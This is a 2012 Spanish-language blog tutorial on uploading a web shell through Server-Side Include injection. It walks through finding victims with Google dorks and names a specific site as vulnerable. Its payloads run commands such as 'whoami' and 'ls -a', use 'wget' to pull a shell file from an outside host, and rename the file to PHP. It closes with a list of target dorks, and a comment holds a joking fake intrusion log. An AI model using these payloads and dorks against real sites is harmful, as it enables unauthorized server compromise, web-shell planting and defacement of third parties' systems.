viernes, 22 de junio de 2012

Subir Shell a través de Inyección SSI (Server-side include)



¿Qué es SSI?

Inyección SSI (Server Side Include) es una técnica de explotación de servidor que permite a un atacante enviar código a una aplicación web, que posteriormente será ejecutado localmente por el servidor web. Inyección de código SSI explota el fracaso de una aplicación web para desinfectar los datos suministrados por el usuario antes de que se insertan en un server-side interpretada archivo HTML.

Si un atacante envía un Server-Side Include, él puede tener la capacidad de ejecutar comandos del sistema operativo, o incluir el contenido de un archivo restringido la próxima vez que se sirve de la página.


Empecemos.

Paso I - Encontrar un Sitio Vulnerable:

El mejor Dork que he encontrado es inurl:bin/Cklb/ entonces lo escribimos en Google y vamos ir probando...

Paso II - Probando el Sitio Vulnerable:

Cuando usamos la Dork  iremos probando web por web para identificar si el sitio es vulnerable a este tipo de inyección... 

¿Como identifico si el sitio es vulnerable? 

Ejecutando estos simple comandos:
<!--#echo var="DATE_LOCAL" -->
Mostrara la Fecha

<!--#exec cmd="whoami"-->
Mostrara que el usuario se esta ejecutando en el servidor (Windows)

<pre><!--#exec cmd="ls -a" --></pre><!--#exec cmd="ls -a" --></pre> (Linux)
Mostrara todos los archivos en el directorio

<!-- #exec cmd="dir" --> (Windows)
Mostrara todos los archivos en el directorio

Nota: Tenemos que utilizar las etiquetas <pre> </ pre> cuando ejecutamos algun comando.

Ejemplo: <pre><!--#exec cmd="ls -a" --></pre><!--#exec cmd="ls -a" --></pre>

Entonces tomamos uno de los comandos y lo insertamos en los cuadros de búsqueda o campos de inicio de sesión.

Los campos de inicio de sesión en su mayoría son vulnerables.

Sitio Vulnerable, ejemplo
http://dev.stockphotosamerica.com/bin/Cklb

Lo primero que haremos es ejecutar el comando en los campos como mencione lineas arriba, entonces esto deberia de quedar asi:


& nos devolverá todos los archivos del directorio....



Ahora vemos que nuestro comando se ejecutado con éxito y que el sitio es vulnerable ....

Paso II - Subiendo la Shell:

Como ya sabemos que el sitio web es vulnerable, entonces ya estamos listos para crear una shell.

En primer lugar tenemos que tener la shell en un .TXT y la subimos a cualquier host o nuestro host propio, ejemplo:

www.sitio-web.com/shell.txt

Ahora tenemos que descargar la shell con el siguiente comando:

<!--#exec cmd="wget http://sitio-web.com/dir/shell.txt" -->

Ahora sólo pegamos en el campo y pulsamos Entrar o Intro.


Para ver si el archivo en .TXT se ha descargado, tenemos que ejecutar el comando que usamos antes para listar los directorios:

<pre><!--#exec cmd="ls -a" --></pre><!--#exec cmd="ls -a" --></pre>

En este caso yo he colocado config1.txt ustedes pueden utilizar cualquier nombre



Entonces si vemos que se ha descargado correctamente, ahora solo debemos cambiar el nombre de .Txt  a .Php, utilizando el siguiente comando:

<!--#exec cmd="mv config1.txt config.php" -->

Ahora, tenemos que listar nuevamente todos los archivos y tratar de encontrar la shell, en este caso se mostrara como config.php



Ahora, como ya sabemos que la shell esta en formato php, solo nos faltaria entrar a dicho archivo desde el navegador:

& Voila tenemos nuestra shell....

Les dejare algunas dorks:
inurl:bin/Cklb/ - Best Dork
inurl:login.shtml
inurl:login.shtm
inurl:login.stm
inurl:search.shtml
inurl:search.shtm
inurl:search.stm
inurl:forgot.shtml
inurl:forgot.shtm
inurl:forgot.stm
inurl:register.shtml
inurl:register.shtm
inurl:register.stm
inurl:login.shtml?page=

Espero que hayas aprendido algo...

Saludos.

2 comentarios:

  1. No encuentro ninguna pagina vulnerable ):

    ResponderEliminar
    Respuestas
    1. Scannig Data Base..
      Mastershell.exe deface; Ok
      WindShell.exe deface; Ok
      Finish Process..
      Open shell:
      Scannig user
      Rookit: Ok
      ..........
      Enter with Anonymous user: user: Anonymous pass: anonymous
      User Fail!
      Come on xD!
      retry..
      user: root
      pass:root
      Entryng..
      Pass correct!
      Master Shell..
      FTP in course..
      ...
      ...
      ...
      blogstop, password starting..
      0123456789¡?=)(/&%$#"!
      Data recibing..
      ¿Que pasó?
      Come on team!


      Eliminar